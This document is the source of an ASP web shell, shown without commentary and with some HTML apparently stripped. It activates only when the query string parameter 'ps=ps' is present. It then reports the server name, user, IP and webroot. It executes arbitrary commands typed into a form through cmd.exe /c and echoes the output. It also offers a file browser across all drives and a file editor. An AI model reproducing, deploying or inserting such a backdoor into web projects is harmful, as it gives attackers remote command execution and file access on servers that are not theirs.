<% on error resume next if Request.QueryString("ps") = "ps" then Dim Pcmd, cmd, wshell, objCmd, strPResult Dim path, i, folder, list, temppath, dir Dim edpfile, edpdir Dim f, filepath, file, stream, text Dim wNet, fso set fso = CreateObject("Scripting.FileSystemObject") Set WNet = Server.CreateObject("WScript.Network") %> 040
Server : <%=WNet.computername%> User : <%=WNet.username%> IP : <%=request.serverVariables("LOCAL_ADDR")%> Webroot : <%=request.servervariables("APPL_PHYSICAL_PATH")%>

Run Cmd

Cmd:
<% if len(Request.Form("submitmcmd")) > 0 then Pcmd = "C:\Windows\System32\cmd.exe /c " cmd = Request.Form("textcmd") set wshell = CreateObject("WScript.Shell") Set objCmd = wShell.Exec(Pcmd + cmd) strPResult = objCmd.StdOut.Readall() response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
" Set objCmd = nothing set wshell = nothing end if %>

File Browser

<% path = trim(Request.QueryString("path")) if len(path) = 0 or not fso.FolderExists(path) then path = fso.GetFolder(Server.MapPath("\")) end if '''' Parent set folder = fso.GetFolder(path) if not folder.IsRootFolder then %> <% end if '''' Folders set list = folder.SubFolders for each i in list %> <% next dir = trim(Request.QueryString("path")) set list = nothing '''' Files set list = folder.Files for each i in list %> <% next set list = nothing set folder = nothing %>
Path: <% path = trim(Request.QueryString("path")) if len(path) = 0 or not fso.FolderExists(path) then path = fso.GetFolder(Server.MapPath("\")) end if set folder = fso.GetFolder(path) list = split(folder.path, "\") temppath = "" for each i in list temppath = temppath & i & "\" %>"><%=i%>\<% next set folder = nothing %> Drives: <% for each i in fso.Drives if i.IsReady then %>:\"><%=i.DriveLetter%>:<% end if next %> ?ps=ps">Home
Name Size Modified Accessed Created
">..
"><%=i.Name%>\ DirDirDirDir
<%=i.Name%> <%=FormatNumber(i.Size, 0)%> <%=i.DateLastModified%> <%=i.DateLastAccessed%> <%=i.DateCreated%>

File Editor

File: "" then response.write edpfile elseif edpdir <> "" then response.write edpdir else response.write request.servervariables("APPL_PHYSICAL_PATH") end if %>" style="width:60%">
<% if Err.Number <> 0 Then Response.write "
Error: " & Err.Description & "
" end if Set WNet = nothing set fso = nothing Response.End end if %>